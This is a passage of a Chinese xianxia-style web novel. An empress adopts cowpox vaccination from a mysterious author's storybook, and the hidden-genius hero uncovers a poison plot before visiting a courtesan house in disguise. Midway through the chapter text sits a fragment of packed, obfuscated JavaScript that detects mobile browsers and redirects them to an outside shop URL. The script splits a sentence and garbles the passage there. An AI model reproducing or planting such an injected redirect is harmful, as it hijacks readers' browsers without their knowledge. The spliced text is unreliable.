她直接跳过那些让她面红耳赤的‘林枫深夜探病,女帝娇弱依偎’的桥段,快速而精准地搜寻着可能存在的‘私货’。
突然,她的目光凝固了!
呼吸也随之变得急促起来!
“牛痘接种法?取牛患病之痘浆,种于人臂…轻症之后,可获免疫,终身不染天花?!”
萧璇月一字一句地低声读着,美眸越睁越大,脸上充满了难以置信的神色!
这方法简直闻所未闻,近乎荒诞!
以畜疫防治人疫?
听起来如同乡野巫医的偏方!
但书中描述得极其详尽,原理看似朴素却自成一格,步骤清晰可操作,甚至连接种后的正常反应、注意事项都一一列明,细致得令人发指!
紧接着,她又看到了那个配伍精妙的治疗药方,虽然有几味药罕见,但君臣佐使逻辑严谨,一看便知是出自高人之手。
“逍遥公子,你究竟是什么人?朕一定要把你揪出来!”
压下心中的激动,萧璇月立即穿戴整齐,拿着话本去上朝。
紫宸殿,晨光熹微。
文武百官肃立,空气中弥漫着凝重的气氛。
昨晚女帝召见不少大臣,因此很多人已经知道天花的事情。
即便是最擅长勾心斗角的官员,此刻也难掩忧色。
这不仅是民生疾苦,更关乎社稷稳定,若处理不当,谁都难以独善其身。
江凡穿着那身起居郎官服,垂手站在御阶之侧,努力降低自己的存在感。
他眼观鼻,鼻观心,一副恭顺老实的模样,内心却在疯狂吐槽这早朝制度**,以及盘算着怎么才能‘合理’地被罢官免职。
他甚至偷偷运转【敛息诀】,让自己看起来更加‘人畜无害’,甚至带了点纵欲过度的萎靡——黑眼圈倒是货真价实,昨晚熬夜写书来着。
萧璇月端**,凤冠霞帔,威仪天成。
她目光扫过全场,在低眉顺眼的江凡身上微微停留了一瞬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880052|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>看到他眼下的乌青和那副‘我很虚弱别找我’的怂样,再联想到怀中那本还带着墨香的话本,她嘴角勾起一抹极淡的弧度。
若在以往,她定会以为这纨绔昨夜又去哪个秦楼楚馆鬼混了,但现在…她心中冷笑:装,继续给朕装!
朕倒要看看,你这副皮囊下面,到底藏着多少秘密!
议事开始,焦点自然落在了清河郡天花疫情上。
户部禀报了紧急调拨的钱粮药材,兵部陈述了封锁道路、维持秩序的部署。
太医院院使则战战兢兢地汇报了拟定的几种防疫药方,无非是些清热解毒、扶正固本的常规手段。
对于如何有效治疗和预防天花,仍是语焉不详,底气不足。
几位重臣依次发言,气氛沉闷而压抑。
每个人都清楚,这些措施或许能延缓疫情扩散,但若找不到根治预防之法,一切都是徒劳。
就在朝堂之上一片愁云惨淡之际,宰相李文弼手持玉笏,出列沉声道:
“陛下,清河郡疫情如火,百姓处于水深火热之中。臣以为,当务之急,除常规防疫外,更应广贴皇榜,悬赏天下名医,汇集民间智慧,或有一线生机!”
他这话听起来是为国为民,实则暗藏机锋。
悬赏求医,固然是个办法,但也等于变相承认了朝廷太医署的无能,而且容易引来江湖术士,引发混乱。
不少官员纷纷附和,与其坐以待毙,不如放手一搏。
萧璇月端坐其上,面色平静,心中却如明镜一般。
她等的就是这个时机。只见她轻轻抬手,止住了众人的议论,凤眸扫过太医院院使,声音清越地问道:
“张院使,朕听闻,民间或有‘以毒攻毒’之法,用以防治疫病,太医院可有相关记载或研究?”
张院使一愣,连忙躬身回答:
“回陛下,确…确有此类说法。古籍中亦有记载,如晋时葛洪《肘后备急方》曾提及取天花患者疮痂研粉吹入鼻中预防。
然…此法凶险异常,十不存一,早已弃用。至于其他…臣等孤陋寡闻。”
第029章 怀疑自己了
萧璇月微微颔首,不再追问太医,而是将目光投向全场,缓缓道:
“朕,近日偶得一法,或许对此疫情有所助益。”
她此话一出,满朝皆惊!
陛下深居宫中,竟有防治天花之法?
在众人惊疑不定的目光中,萧璇月对身旁的云暮微微示意。
云暮会意,从袖中取出几张抄录好的纸张,恭敬地递给太医院院使。
“张院使,诸位太医,都来看看此法,是否可行?”
萧璇月的声音带着一种不容置疑的威严。
张院使双手微颤地接过纸张,几位德高望重的老太医也立刻围拢过来。
起初,他们脸上还带着疑惑,但随着阅读的深入,他们的表情逐渐变得凝重,继而转为震惊,最后甚至激动得胡须都在颤抖!
“这…这‘牛痘接种法’!取牛痘之浆,种于人臂…妙啊!妙啊!”
一位白发苍苍的老太医激动地拍案叫绝,
“陛下!此法看似匪夷所思,然细思其理,正是契合‘以毒攻毒’之精要!牛痘症状轻微。
若能诱发人体产生对天花之抗力,实乃旷古奇思!若此法可行,实乃天下苍生之福!”
另一位太医则专注于那个治疗药方,反复推敲后,亦是满脸惊容:
“陛下,此方用药之精妙,配伍之严谨,臣等望尘莫及!尤其这几味药的君臣佐使,深合医理,对于缓解天花重症之毒性,必有奇效!
只是…其中几味主药颇为罕见,配制工序也极其复杂,非高手不能为。”
太医们的反应,无疑给这‘偏方’做了最有力的背书!
朝堂之上顿时一片哗然!
群臣交头接耳,震惊不已。
陛下从何处得来如此神方?
萧璇月将众人的反应尽收眼底,这才不紧不慢地补充道:
“此法,乃朕从一民间奇人所著的…话本杂记中偶然得见。”
话本杂记?!
这四个字如同惊雷,在朝堂上炸响!
刚才还激动万分的太医们表情瞬间僵住,群臣更是目瞪口呆!
李文弼率先反应过来,他立刻出列,声音带着难以置信和强烈的质疑:
“陛下!您…您是说,这防治天花之法,是来自逍遥公子那本…话本小说?此等关系国计民生、万千性命之大事,岂能儿戏!
依一本荒诞不经的话本行事,若是有误,岂非贻误病情,酿成大祸?!臣恳请陛下,慎重行事,需经太医院反复验证,确认无误后,方可小范围试行!”
“臣附议!”
“陛下,此事关乎重大,确需谨慎啊!”
不少官员,尤其是与李文弼亲近的派系,纷纷出言附和。
他们本就对那神出鬼没的‘逍遥公子’又恨又怕,如今见女帝竟然要依据他的话本来制定国策,更是感到荒谬和不安。
江凡在下面听得心头火起!
这帮老顽固,就知道因循守旧,墨守成规!
眼看有希望救人,却在这里大谈什么‘稳妥’、‘验证’!
疫情如火,哪来那么多时间给你们慢慢验证!
萧璇月面对质疑,凤眸中寒光一闪,但语气依旧平静,却带着一股压迫感:
“哦?**的意思是,朕是那等不分轻重、儿戏国事之君?”
李文弼心头一凛,连忙躬身:
“老臣不敢!只是…”
“只是什么?”
萧璇月打断他,声音陡然转厉,
“只是因为这法子来自话本,便一无是处?尔等可还记得,前番税银案,若非此话本中的提示,朝廷如今已是损失惨重,颜面扫地!
那时,尔等为何不跳出来说此话本‘荒诞不经’?如今此法能救万民于水火,太医院诸位国手亦认为其理可通,其方精妙。
尔等却只因它出自话本,便一味阻挠!究竟是国事为重,还是尔等的面子、尔等的成见为重?!”
她一番话,掷地有声,如同鞭子般抽在李文弼等人脸上!
提及税银案,更是让李文弼等人脸色一阵青一阵白,那是他们心中永远的痛和耻辱!
萧璇月目光如电,扫过那些附和的官员,继续冷声道:
“朕知道,这话本中有些内容,让某些人如坐针毡,如鲠在喉!但私怨是私怨,国事是国事!
若因一己之私,便置万千百姓性命于不顾,尔等可对得起头顶乌纱,可对得起黎民百姓?!”
这番话可谓诛心之言,直接将反对者的动
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机归结于‘私怨’,占据了道德制高点。
那些原本还想说话的官员,顿时噤若寒蝉,不敢再言。
江凡在下面听得心潮澎湃,差点没忍住想给女帝鼓掌!
骂得好!太对了!
这女帝,关键时刻还真是不含糊!
深得朕心!
他看向龙椅上那个威严的身影,第一次觉得,这女人除了漂亮和可怕之外,还挺…顺眼的。
萧璇月平息了一下怒气,沉声道:
“朕意已决!太医院听令!”
“臣在!”张院使等人连忙躬身。
“即刻起,双管齐下!一,按此药方,不惜代价,配制汤药,火速送往疫区,救治重症患者!
二,立即挑选精干太医,携朕手谕,前往京郊皇庄,寻找生有牛痘之牛,按‘牛痘接种法’即刻进行试验!朕给你们三天时间,朕要看到初步结果!”
“臣等遵旨!”
太医院众人领命,虽然觉得压力巨大,但眼中也燃起了希望之火。
“户部、兵部全力配合!若有延误,朕唯你们是问!”
“臣等遵旨!”
一场可能席卷全国的危机,在女帝的乾纲独断下,终于找到了应对的方向。
退朝的钟声响起,百官心思各异地退出大殿。
江凡跟着人群往外走,心里美滋滋的。
救人一命胜造七级浮屠,自己这算是间接救了无数人吧?
人气值肯定又要暴涨了!
嗯,晚上回去就把李文弼那几个老顽固写进书里,让他们好好‘表现’一下!
御书房内,熟悉的檀香依旧。
但气氛似乎比昨日轻松了些许。
或许是因为找到了应对天花的方向,萧璇月眉宇间那抹凝重淡去了不少。
她挥退大部分宫人,只留云暮在旁,却没有立刻开始批阅奏折,反而好整以暇地坐在御案后,目光落在了如坐针毡的江凡身上。
“江爱卿,”
她开口,声音不似朝堂上那般威严,反而带着一丝闲聊般的随意,
“今日朝堂之上,关于天花防治之法,你也在场。依你之见,此法…可行否?”
江凡心里一咯噔:女帝这是什么意思?
难道怀疑自己了?
第030章 这糕点有毒
他赶紧摆出那副标准的‘草包’表情,挠了挠头,讪笑道:
“回陛下,这等军国大事,臣…臣一个粗人,哪里懂得?陛下和诸位大人定夺便是,定夺便是…嘿嘿。”
他故意把话题往自己‘不懂’上引。
萧璇月看着他这副油盐不进的样子,心中暗笑,也不深究,话锋忽然一转,仿佛漫不经心地问道:
“那…江爱卿,你如今也入了朝堂,虽说是起居郎,也算踏入了仕途。可曾想过,日后有何抱负?或者说…有何梦想?”
梦想?
江凡眼睛瞬间亮了!
机会啊!
这可是送上门来的良机!
一般臣子在皇帝面前,肯定要慷慨激昂地表示‘精忠报国’之类的。
他要是反其道而行之,大谈特谈如何躺平享乐,女帝肯定龙颜大怒,罢官免职岂不是指日可待?
他立刻挺直了腰板,脸上露出一种无限向往、甚至有点猥琐的笑容,搓着手道:
“陛下圣明!您问起这个,臣可就有的说了!臣的梦想啊,其实特别简单!就是…就是每天睡到自然醒,数钱数到手抽筋!
啥也不用干,就有人把山珍海味送到嘴边!再娶他七八房如花似玉的美娇娘,找十几个乖巧可人的小丫鬟捏肩捶腿!
没事儿就听听曲儿,看看舞,斗斗蛐蛐,逛逛园子…哎呀,那日子,给个神仙都不换啊!”
他一边说,一边还配合着吞咽口水的动作,活脱脱一个沉迷酒色、胸无大志的纨绔子弟形象,演绎得淋漓尽致。
说完,他还偷偷抬眼瞄了女帝一下,期待看到她脸上浮现出怒其不争的失望表情。
然而,萧璇月听完,非但没有生气,反而‘噗嗤’一声轻笑出来!
这一笑,如春花绽放,竟让江凡看得呆了一瞬。
只见她凤眸弯弯,带着几分戏谑,摇头道:
“江爱卿倒是…坦诚得可爱。这般悠闲自在的日子,听起来,确实令人向往。”
啥?向往?
江凡傻眼了。
这剧本不对啊!
您不是应该拍案而起,大骂‘朽木不可雕也’,然后把我轰出去吗?
萧璇月看着他目瞪口呆的样子,心中畅快无比,继续慢条斯理地说道:
“不过,江爱卿如今既食君之禄,便当忠君之事。这等‘神仙日子’,还是等你为朝廷立下大功,光宗耀祖之后,再慢慢享受不迟。眼下嘛,还是安心当好你的起居郎,莫要总想着提前告老还乡。”
江凡:“……”
我特么…
他感觉自己一拳打在了棉花上,憋屈得差点内伤。
这女帝怎么不按常理出牌啊!
我都自黑到这种地步了,她居然还‘欣赏’我坦诚?
还让我好好干?
老爹的功劳光环也太强大了吧!
想当个透明咸鱼怎么就那么难!
看着江凡那副吃瘪又不敢言的表情,萧璇月心中冷笑更甚:小样儿,跟朕玩这套?
你想被罢官?
朕偏不让你如愿!
不管你是不是那个神龙见首不见尾的逍遥公子,朕都得把你牢牢拴在身边,慢慢‘挖掘’!
就在这时,一名宫女低着头,端着一个描金漆盘走了进来,盘上放着几碟小巧玲珑、香气扑鼻的点心。
“陛下,御膳房新制的桂花糖蒸新栗粉糕,请您尝尝。”
“放下吧。”
萧璇月随意道。
那宫女将点心轻轻放在御案一角,便垂手退到一旁侍立。
萧璇月似乎心情不错,对江凡抬了抬下巴:
“江爱卿也站了半晌了,尝尝这点心吧,御膳房的手艺还是不错的。”
若是平时,有免费点心吃,江凡肯定乐呵呵地凑上去。但此刻,他正郁闷于‘罢官计划’失败,没什么胃口。
但女帝赏赐,又不敢不吃。他只好磨蹭着走过去,随手拈起一块看起来最普通的栗粉糕,漫不经心地咬了一小口。
点心入口即化,甜而不腻,带着桂花的清香和栗子的甘甜,确实是上品。
然而,就在糕点滑过喉咙的瞬间,江凡脑海中那大宗师级的医术知识瞬间被触发!
一股极其微弱的异样药性,混合在食物的香甜中,被他敏锐地捕捉到了!
这药性…阴寒、滞涩!
单独食用,或许只是让人觉得有些脾胃不适,但若结合…
他的目光猛地
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扫向御书房内常年点燃的、散发着清冽香气的龙涎檀香!
檀香本身有宁神静气之效,但其中一味辅料…与这糕点中那丝阴寒药性结合…
“陛下!别吃!”
江凡脸色骤变,也顾不得什么礼仪了,猛地出声喝止,同时‘噗’地将口中尚未咽下的糕点吐在了地上!
这一声惊呼,如同平地惊雷!
萧璇月正准备伸向点心的手僵在半空,诧异地看向江凡。
旁边的云暮和那名送点心的宫女也吓了一跳,惊疑不定地看着他。
“江凡!你放肆!”
云暮率先反应过来,厉声呵斥。
在御前如此失仪,可是大不敬!
江凡却顾不上这些,他指着那盘点心,语气急促而肯定:
“陛下!这糕点有毒!万万不能食用!”
“有毒?”
萧璇月凤眸一凝,周身瞬间散发出冰冷的寒意,
“你可确定?”
“臣万分确定!”江凡斩钉截铁,
“糕点本身毒性极微,几乎无法察觉,但若与殿中所燃的龙涎檀香结合,两者药性相冲,便会产生一种奇毒!”
他这番话说得极其专业,完全不像个‘不学无术’的纨绔子弟。
萧璇月心中巨震,立刻对云暮道:
“速传太医令!快!”
她又冷冷地扫了一眼那名送点心的宫女,宫女早已吓得面无人色,浑身发抖地跪倒在地:
“陛下明鉴!奴婢…奴婢什么都不知道啊!”
很快,太医令张院使提着药箱,气喘吁吁地赶来。
听闻陛下怀疑点心有毒,他不敢怠慢,立刻取出银针、试毒碟等物,小心翼翼地对糕点进行了检查。
然而,一番忙碌之后,张院使擦了擦额头的汗,躬身回禀:
“陛下,微臣以多种方法查验,此糕点…并无常见毒性。”
萧璇月眉头紧锁,看向江凡。
那宫女也似乎松了口气。
江凡却不慌不忙,指着那袅袅升起的檀香:
“张院使,烦请您再仔细查验,重点不是糕点本身,而是其药性与这龙涎檀香中的龙血竭、沉水香两味辅料结合后,会产生何种变化?”
第031章 乃可造之材
张院使一愣,依言取了些糕点碎屑,又小心收集了一些檀香香灰,混合在一起,加入特制的药水中仔细观察。
起初他还有些疑惑,但随着药水颜色逐渐变成一种诡异的淡青色,并散发出极淡的腥气时,他的脸色瞬间变得惨白如纸!
‘噗通’一声,张院使跪倒在地,声音颤抖带着哭腔:
“陛下!老臣…老臣罪该万死!疏忽大意!江…江大人所言不差!此糕点中确含一种名为‘寒蛛草’的极阴药引,量微难察!
而龙涎檀香中的龙血竭、沉水香,性烈而燥!二者单独无害,但若同时吸入和食入,在体内交汇,便会生成一种名为‘蚀气散’的奇毒!
此毒并非即刻致命,但会悄然侵蚀武者经脉真气,阻碍修为突破,长期以往,根基尽毁啊陛下!”
蚀气散!
阻碍修为突破!
萧璇月脑海中如同惊雷炸响!
她卡在先天巅峰很久,每次冲击宗师瓶颈都功亏一篑,原本只以为是机缘未到或是**问题,万万没想到,根源竟在此处!
一股彻骨的寒意从脚底直冲头顶!
是谁?
竟用如此阴毒隐秘的手段,想要废掉她的修为?!
她的目光如利剑般射向那名跪在地上的宫女!
那宫女见事情彻底败露,脸上露出绝望之色,眼中闪过一丝狠厉,猛地一咬牙!
嘴角立刻溢出一缕黑血,身体抽搐两下,便软倒在地,气绝身亡!
竟是早已在口中藏了剧毒蜡丸!
御书房内,死一般的寂静!
只有檀香依旧在无声燃烧。
萧璇月缓缓站起身,凤眸之中寒光四射,杀意凛然!
她深吸一口气,强压下滔**火,目光最终落在了江凡身上。
太医令都查验不出的隐秘奇毒,他却能凭借一口点心,瞬间洞察!
这份医术…已臻化境!
再联想到昨夜刚刚出现的、详细记载牛痘接种法的逍遥公子话本…以及江凡昨日恰好在场听闻天花疫情…
所有的线索,如同散落的珍珠,被一根无形的线串联起来!
萧璇月看着眼前这个依旧努力想装出惶恐模样的‘纨绔’世子,心中已然有了九成确定!
逍遥公子…江凡…
“张太医,这件事不是你的错,就罚奉三个月,先退下吧!”
“是!谢陛下,微臣告退!”
太医令张院使连滚带爬地退出了御书房,那惶恐的背影仿佛身后有厉鬼追赶。
“江爱卿,”萧璇月开口,声音平静,“你,是如何察觉这糕点有异的?”
江凡心里咯噔一下,后背瞬间被冷汗浸湿。
刚才情急之下,大宗师级的医术本能发作,只顾着救人,完全忘了要维持的纨绔人设!
这下完犊子了!
该怎么圆?
他大脑飞速运转,脸上努力挤出惊魂未定的表情,结结巴巴地开始现编:
“回…回陛下!臣…臣也不知道怎么回事!就…就是咬了一口,觉得味道好像…好像有点不对,然后喉咙里一阵发痒,心口也闷得慌,浑身不得劲儿!
就…就跟小时候误吃了某种山蘑菇的感觉似的!对!就是那种感觉!”
他越说越‘顺’,仿佛找到了合理解释,语气也‘理直气壮’起来:
“臣从小就对这类阴寒古怪的东西过敏!一碰就难受!刚才那感觉一上来,臣想都没想就…就吐了!惊了圣驾,臣罪该万死!”
他一边说,一边还配合地揉了揉胸口,做出心有余悸的样子。
这套说辞,漏洞百出——对某种成分过敏?
还能精准分辨出是与檀香结合产生毒性?
这‘过敏’也太智能了吧?
萧璇月静静地看着他表演,凤眸微眯,嘴角勾起一抹弧度。
心中冷笑:编,继续编。
真亏你这小子能面不改色地扯出这么离谱的借口!
她几乎可以断定,江凡身怀极高的医术,甚至可能远超太医令!
但他既然咬死不认,现在戳穿他,反而无趣。
猫捉老鼠的游戏,总要慢慢玩才有意思。
于是,她并未深究,只是不置可否地‘嗯’了一声,语气听不出喜怒:
“原来如此。倒是朕错怪爱卿失仪了。你今日立下大功,救了朕,也免了朝廷一场大祸。说吧,想要什么赏赐?”
江凡一听‘赏赐’二字,眼睛瞬间
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亮了!
刚才的‘危机’瞬间被抛到九霄云外!
机会啊!天赐良机!
他立刻打蛇随棍上,脸上堆起谄媚又期待的笑容:
“陛下圣明!臣不敢居功!都是陛下洪福齐天!”
先拍个马屁,然后图穷匕见:
“若…若陛下真要赏赐,臣…臣别无他求!只求陛下开恩,准臣…辞去这起居郎一职!”
他几乎是喊出来的,语气中充满了渴望:
“臣实在是…才疏学浅,难当大任!每日战战兢兢,如履薄冰,生怕有负圣恩!这官当得,比坐牢还难受啊陛下!
求陛下成全,让臣回家…回家继续当个闲散世子吧!臣保证,以后一定安分守己,绝不给陛下和朝廷添乱!”
他这番话说得情真意切,声泪俱下,将一个不堪重任、只想过安逸日子的纨绔子弟形象演绎得入木三分。
他心里美滋滋地想:这下总行了吧?
我立了这么大功,不要金银财宝,不要加官进爵,只求辞官归隐,多么淡泊名利,多么人畜无害!
你还好意思不答应?
然而,他期待的‘准奏’二字并未到来。
取而代之的,是御书房内骤然下降的温度和一股威压!
萧璇月看着他跪在地上那副没出息样子,好悬没气笑出来!
胸中一股无名火‘噌’地就冒了上来!
这混账东西!
朕刚刚发现你身怀绝技,正是用人之际,你倒好,立了点功劳就想跑路?
继续回去当你的废物点心?
天下哪有这么便宜的事!
她想当场发作,但看到江凡那看似惶恐、实则眼珠子乱转透着狡黠的模样,又强行把火气压了下去。
不能中了他的计!
这小子越是想跑,就越说明他身上有鬼!
越不能放他走!
“呵…”
萧璇月发出一声意味不明的轻笑,听得江凡头皮发麻。
她慢条斯理地端起旁边云暮重新奉上的热茶,轻轻吹了吹浮叶,语气恢复了之前的平静:
“江爱卿过谦了。你今日能识破如此隐秘之毒,足见心思缜密,反应机敏,乃可造之材。辞官之事,休要再提!”
第032章 神级易容术
江凡脸上的笑容瞬间僵住,如同被雷劈中!
不是吧?这都不行?
我功劳白立了?
“陛下!臣…”他还想垂死挣扎。
“朕意已决!”
萧璇月打断他,凤眸一瞥,带着警告的意味,
“不过,念你今日有功,朕特赐你一项恩典:即日起,面圣之时,可免行跪拜大礼。”
江凡:“……”
我谢谢您嘞!
谁稀罕这不跪的权利啊!
我要的是自由!
是摸鱼!是当咸鱼!
他心里疯狂吐槽,但看着女帝那毫无商量余地的眼神,知道再说下去恐怕真要惹怒这喜怒无常的女人了。
只好蔫头耷脑地谢恩:“臣…谢主隆恩!”
这五个字,说得那叫一个不情不愿。
萧璇月看着他吃瘪的样子,心中那点不快才散了些,嘴角弯了弯。
她放下茶盏,转而问道:
“既然爱卿对此毒有所感应,可知…此毒该如何化解?”
她问的是‘感应’,而非‘知晓解法’,言语间依旧留着余地,但试探之意明显。
江凡此刻心情郁闷,也懒得再装傻充愣,反正医术暴露一点也无所谓,只要不承认是逍遥公子就行。
他想了想回答道:“回陛下,此毒名为‘蚀气散’,性阴寒滞涩,盘踞经脉,阻碍真气运行。但好在并非即刻致命的剧毒,化解起来倒也不难。”
他略微回忆了一下脑中知识,流利地说道:
“陛下可命太医院开具一些温阳化淤、疏通经络的方子,比如以‘赤阳草’、‘通脉灵根’为主药,辅以‘三七’、‘当归’活血。
此外,日常膳食可多用些生姜、羊肉、桂圆等温补之物,忌食生冷寒凉。最多月余,毒素便可慢慢清除,对修为无损。”
他这番话条理清晰,用药精准,完全是一派医道高人的风范,哪里还有半分纨绔子弟的影子?
萧璇月仔细听着,心中已然明了。
她微微颔首:“朕知道了。今日你也受惊了,且先退下歇息吧。”
“臣告退!”
江凡如蒙大赦,赶紧行礼,几乎逃也似地溜出了御书房,生怕女帝反悔又把他叫住安排什么活计。
看着江凡那仿佛逃离龙潭虎穴般的背影消失在殿门外,萧璇月终于忍不住,抬手用袖角掩唇,低低地笑出声来。
这家伙,真是太有趣了!
一直侍立在旁的云暮,此时才上前一步,看着地上宫女的尸体,蹙眉低声道:
“陛下,这江凡…明显没说实话。什么对阴寒之物过敏,简直是信口开河。他定然身怀极高的医术。”
萧璇月止住笑声,凤眸中闪烁着狡黠而玩味的光芒,悠然道:
“朕自然知道他在胡说八道。不过,他越是如此费尽心机地遮掩,就越说明他身上的秘密不小。
而那个神出鬼没、才华横溢的‘逍遥公子’…你说,会不会就跟我们这位‘胸无大志’的江大世子,有着千丝万缕的联系呢?”
云暮眼中闪过惊诧:“陛下的意思是…”
“现在还只是猜测。”
萧璇月站起身,走到窗边,望着宫墙外蔚蓝的天空,嘴角噙着一丝高深莫测的笑意,
“不过,朕有预感,答案很快就会揭晓。既然他想玩‘藏拙’的游戏,那朕就陪他好好玩玩。
直接揭穿多无趣?朕倒要看看,这只狡猾的小狐狸,还能在朕的眼皮子底下,装傻充愣到几时。”
她顿了顿,对云暮吩咐道:
“清理干净。另外,暗中查一查,这宫女是受何人指使。能把手伸到朕的御膳房和日常用度上,这幕后之人,能量不小。”
“是,陛下!”
云暮躬身领命,眼神锐利。
萧璇月则重新坐回御案后,拿起那本让她又爱又恨的《深宫秘恋》话本,指尖轻轻拂过‘逍遥公子’四个字,喃喃自语:
“江凡啊江凡…你究竟,还有多少惊喜,是朕不知道的?”
从御书房中‘逃’出来,江凡感觉像是重新活了过来。
他回到镇国公府,一打听,父亲江撼岳又去了京郊大营处理军务,说是要整顿因税银案牵连的部分兵马,晚间未必回来。
姐姐江芷兰也应了几位手帕交的约,去城外的寺庙上香祈福了。
偌大的国公府,顿时又成了他江大世子的天下!
啊,自由的空气!
虽然夹杂着点没能成功‘辞职’的郁闷,但比起在女帝眼皮子底下‘坐牢’,已经是天堂了!
“嘿嘿,天高皇帝远,老爹不在家,姐姐去烧香,此时不浪,更待何时?”
江凡搓
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着手,那颗蠢蠢欲动的纨绔之心又开始活泛起来。
上次百花楼之行,虽然惊险刺激,还差点暴露,但…不得不说,那花魁柳絮的琴艺和风姿,确实让人回味。
一想到上次被老鸨一眼认出的尴尬,江凡就有点牙疼。
初级易容术还是太差劲,熟人都能认出他来。
不行,这次得换个马甲!
他心神沉入系统界面,看着那高达十五万多的人气值余额,一咬牙:
“系统,兑换【易容掩息术(神级)】!”
【消耗50000点人气值,兑换【易容掩息术(神级)】成功!相关法门已传输。可随心所欲改变容貌、体型、骨骼、甚至气息波动,持续时间与消耗真气相关,非修为远超宿主者难以看破。】
一股玄奥的意念涌入脑海,关于肌肉控制、骨骼微移、真气模拟气息的法门了然于胸。
江凡走到铜镜前,心念一动,脸部肌肉开始细微蠕动,骨骼发出极其轻微的噼啪声。
身高似乎也微微拔高了一点,肩膀变宽,整个人的轮廓从少年人的清俊向中年文士的儒雅沉稳转变。
不过片刻功夫,镜中出现的是一个面容普通、气质温和、约莫三十五六岁的白面书生模样,连眼神都变得深邃平和了许多。
“妙啊!”
江凡对着镜子左看右看,满意至极。
这神级易容术,果然物超所值!
别说老鸨,现在就是亲爹江撼岳站在面前,也绝对认不出来!
他换上一件普通的白色文士长衫,将代表身份的玉佩等物悉数取下,揣上一叠银票,悄无声息地从侧门溜了出去。
此时刚过午时,阳光正好,街市上人来人往。
江凡摇着一把刚在路边摊买的折扇,悠哉悠哉地朝着百花楼的方向踱去。
他特意绕了点路,找了个无人的小巷,彻底完成了‘变身’,这才施施然走向那栋熟悉的销金窟。
午后时分的百花楼,比起夜晚的喧嚣,显得安静了许多。
大厅里只有几个零星的客人在喝茶听曲,姑娘们也大多在休息梳妆。
老鸨正无精打采地拨弄着算盘,看到有客上门,立刻堆起职业性的笑容迎了上来。
“哎哟,这位爷面生得紧,是头一次来我们百花楼吧?快请进快请进!”
第033章 无疑是默认
老鸨上下打量着江凡,眼中闪过一丝疑惑。
这人气质儒雅,像个读书人,但穿着普通,不像什么豪客。
不过开门做生意,来者都是客。
江凡压着嗓子,用略显沙沉的中年男音说道:
“给某安排一个清静的雅间,上几样精致小菜,一壶好酒。再…唤两位善解人意的姑娘来陪某说说话。”
他语气平淡,带着几分文人的清高。
老鸨连声应下,心里却嘀咕:这大白天的,一个人跑来喝花酒,还要清静?
真是个怪人。
不过她还是热情地将江凡引上了二楼一间雅致包间。
就在江凡刚坐下,酒菜还未上齐之时,一阵淙淙琴音从后院方向隐约传来。
曲调熟悉,正是他上次演奏的《高山流水》,只是弹奏之人技法虽娴熟,却在几个转折处显得有些滞涩,意境上也差了几分空灵和壮阔。
一旁伺候倒茶的丫鬟见他侧耳倾听,便笑着解释道:
“客官也听出来了?这是我们家柳絮姑娘在练琴呢。自从前几日有位神秘的公子在此演奏过一曲仙音后,柳絮姑娘就像是着了魔,日日苦练这首曲子。
说是要弹出那位公子的三分神韵才好。连晚上的堂会都推了不少,人都清减了许多呢。”
江凡闻言,心中微微一动,有些诧异,又有点莫名的得意。
没想到自己随手一曲,竟让这位眼高于顶的花魁如此挂心?
他眼珠一转,一个念头冒了出来。
反正现在易容得天衣无缝,怕什么?
不如…逗逗她?
他放下酒杯,对那丫鬟笑道:
“哦?柳絮姑娘如此痴迷琴道?巧了,某对音律也略知一二。你方才所奏之曲,名为《高山流水》,意在知音。只是…姑娘的技法虽好,却未得其中三昧啊。”
丫鬟和刚进来的另一个陪酒姑娘闻言都露出不信的神色。
这中年书生好大的口气!
柳絮姑娘的琴艺可是京城一绝,连不少名家都赞不绝口,他一个名不见经传的文人,也敢品评?
江凡见她们不信,也不恼,笑道:
“取支竹笛来。”
丫鬟将信将疑地取来一支普通的竹笛。
江凡接过,试了试音,心中宗师级乐器精通的感悟自然流淌。
他將笛子凑到唇边,眼眸微闭,下一刻,清越悠扬的笛声便流淌而出!
依旧是那曲《高山流水》,但用竹笛演奏,别有一番清亮高远之意!
笛声时而如山泉叮咚,清澈见底;时而如瀑布飞泻,气势磅礴;时而如江河奔流,一泻千里!
那音准、那气息、那意境,比之后院柳絮的琴声,高了何止一个层次?
简直如同原作亲临!
笛声一起,整个百花楼仿佛都安静了下来!
大厅里零星的客人停下了交谈,姑娘们从房间里探出头来,连后院柳絮的琴声也戛然而止!
一曲终了,余音绕梁。
江凡放下竹笛,神色淡然,仿佛只是做了一件微不足道的小事。
而包厢内外,早已是鸦雀无声,落针可闻!
啪嗒!
不知是谁的茶杯掉在了地上,摔得粉碎,才惊醒了众人。
下一刻,惊呼声、赞叹声如同潮水般涌起!
“神乎其技!神乎其技啊!”
“这笛声…竟比柳大家的琴声还要动听!”
“此人是谁?京城何时来了这么一位笛艺大家?”
根本不用丫鬟去请,包厢的门帘‘哗啦’一声被猛地掀开!
一道窈窕的白色身影冲了进来,正是花魁柳絮!
她此刻云鬓微乱,呼吸急促,那张倾国倾城的脸上满是激动和难以置信的神色,美眸死死地盯着手持竹笛的江凡,声音带着颤抖:
“是…是你?!刚才吹笛的,可是先生?前几日在此演奏《高山流水》的,也是先生您,对不对?!”
她目光灼灼,仿佛要穿透江凡那层易容,看清他的真面目。
老鸨也闻声赶来,看到江凡,眼中闪过一丝惊疑,但瞬间便恢复了正常,脸上堆满夸张的笑容:
“哎哟喂!我说是哪位大家光临!原来是您老!您可真是...柳絮,还不快好好招
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待这位先生!”
她是人精中的人精,虽然猜出这‘中年文士’跟江世子不像,但能有这种音律造诣的人可不多。
对方既然不愿以真面目示人,她自然乐得装糊涂,绝不会点破。
江凡对老鸨的识趣很满意,对她微微颔首,然后对柳絮笑道:
“柳大家谬赞了,雕虫小技,不足挂齿。”
柳絮却激动得难以自持,她快步上前,对着江凡盈盈一拜:
“先生大才,晚辈柳絮,仰慕已久!前次得闻仙音,日夜思之,只恨无缘得见!今日有幸,恳请先生不吝赐教!”
